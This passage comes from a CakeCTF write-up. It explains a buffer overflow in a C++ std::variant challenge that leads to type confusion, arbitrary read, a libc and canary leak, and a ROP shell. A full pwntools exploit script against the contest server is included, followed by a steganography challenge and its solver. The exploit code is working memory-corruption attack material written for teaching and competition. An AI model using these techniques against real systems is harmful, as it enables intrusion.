      case 2: cat = Ocelot(age, name) ; break;
      case 3: cat = Savannah(age, name) ; break;
      default: cout << "Invalid species" << endl; break;
      }
      break;
    }

    case 2: { /* Get cat */
      cout << "Type: " << cat.index() << endl;
      visit([](auto& x) {
              cout << "Age : " << x.age << endl
                   << "Name: " << x.name << endl;
      }, cat);
      break;
    }

    case 3: { /* Set cat */
      char name[0x20];
      long age;

      cout << "Age: ";
      cin >> age;
      cout << "Name: ";
      cin >> name;

      visit([&](auto& x) {
              x.set(age, name);
      }, cat);
      break;
    }

    default:  /* Bye cat */
      cout << "Bye-nya!" << endl;
      return 0;
    }
  }

  return 1;
}

There are four similar classes, and the main program has an obvious buffer overflow, but with a canary, direct ROP is not possible.

u1f383 found a vulnerability using buffer overflow to change some types in the variant, causing type confusion, allowing arbitrary memory read. However, I don’t fully understand the details, as tracing C++ code with gdb is challenging…

With arbitrary read, the goal is to control rip. First, read the GOT table to get the libc base. Then, observe that a fixed offset from the libc base in memory contains the canary, allowing us to leak the canary and perform ROP to get a shell.

The difficulty is that the offset between libc base and canary varies greatly depending on the environment. Using LD_PRELOAD or patchelf affects the value. From the libc version, I deduced the remote environment is Ubuntu 20.04. Using docker run --name ubuntu -it ubuntu:20.04, I set up an environment with gdb + gef, calculated the offset, and used it to correctly leak the canary on remote.

#!/usr/bin/python3

from pwn import *
import sys

context.arch = "amd64"
context.terminal = ["tmux", "splitw", "-h"]

if len(sys.argv) > 1:
    r = remote("pwn.cakectf.com", 9004)
else:
    r = process("./chall")


def new_cat(sp, age, name):
    r.sendlineafter(b">> ", b"1")
    r.sendlineafter(b"Species ", str(sp).encode())
    r.sendlineafter(b"Age: ", str(age).encode())
    r.sendlineafter(b"Name: ", name)


def get_cat():
    r.sendlineafter(b">> ", b"2")


def set_cat(age, name):
    r.sendlineafter(b">> ", b"3")
    r.sendlineafter(b"Age: ", str(age).encode())
    r.sendlineafter(b"Name: ", name)


def leak(addr):
    set_cat(
        0xDDDDDDDD, b"\xaa" * 0x20 + b"\x00" + b"\xbb" * 0xF + b"\xcc" * 0x28 + b"\x00"
    )
    new_cat(4, 0xDADADADA, b"\x66" * 0x50 + p64(addr))
    get_cat()
    r.recvuntil(b"Name: ")


leak(0x407F70)
strcpy = int.from_bytes(r.recvline().strip()[-6:], "little")
print(f"{strcpy = :#x}")
libc_base = strcpy - 0x18CBA0
print(f"{libc_base = :#x}")

canary_addr = libc_base - 0x16B098  # found using gef in docker

leak(canary_addr + 1)
canary = b"\0" + r.recvline().strip()[:7]
print(f"{canary[::-1].hex() = }")

libc = ELF("./libc-2.31.so")
libc.address = libc_base
binsh = next(libc.search(b"/bin/sh"))
rop = ROP(libc)
rop.call("execve", [binsh, 0, 0])

new_cat(0, 0xDADADADA, b"\xff" * 0x88 + canary + b"\xee" * 0x18 + rop.chain())
r.sendline(b"4")
print("done")
r.interactive()

misc

Break a leg

from PIL import Image
from random import getrandbits

with open("flag.txt", "rb") as f:
    flag = int.from_bytes(f.read().strip(), "big")

bitlen = flag.bit_length()
data = [getrandbits(8)|((flag >> (i % bitlen)) & 1) for i in range(256 * 256 * 3)]

img = Image.new("RGB", (256, 256))

img.putdata([tuple(data[i:i+3]) for i in range(0, len(data), 3)])
img.save("chall.png")

The challenge reads the flag into a number, generates a random number, and uses | operation on the flag’s bits, storing the result in the image’s RGB channels.

If flag[i] bits are 1, the generated number’s lsb is 1. Since the flag’s bitlen is much smaller than 256 * 256 * 3, it cycles, allowing us to determine the flag’s bits by observing the frequency.

The length part is also easy, just brute force it:

from PIL import Image
import numpy as np
from Crypto.Util.number import long_to_bytes

img = Image.open("chall.png")
d = [x & 1 for x in sum(img.getdata(), ())]
print(d[:10])


def chunk(d, n):
    return [d[i : i + n] for i in range(0, len(d) // n * n, n)]


for bl in range(64, 640):
    A = np.array(chunk(d, bl))
    m, n = A.shape
    bits = np.array([1 if A[:, i].sum() == m else 0 for i in range(n)])
    flag = long_to_bytes(int("".join(map(str, bits[::-1])), 2))
    if b"CakeCTF" in flag:
        print(flag)
        break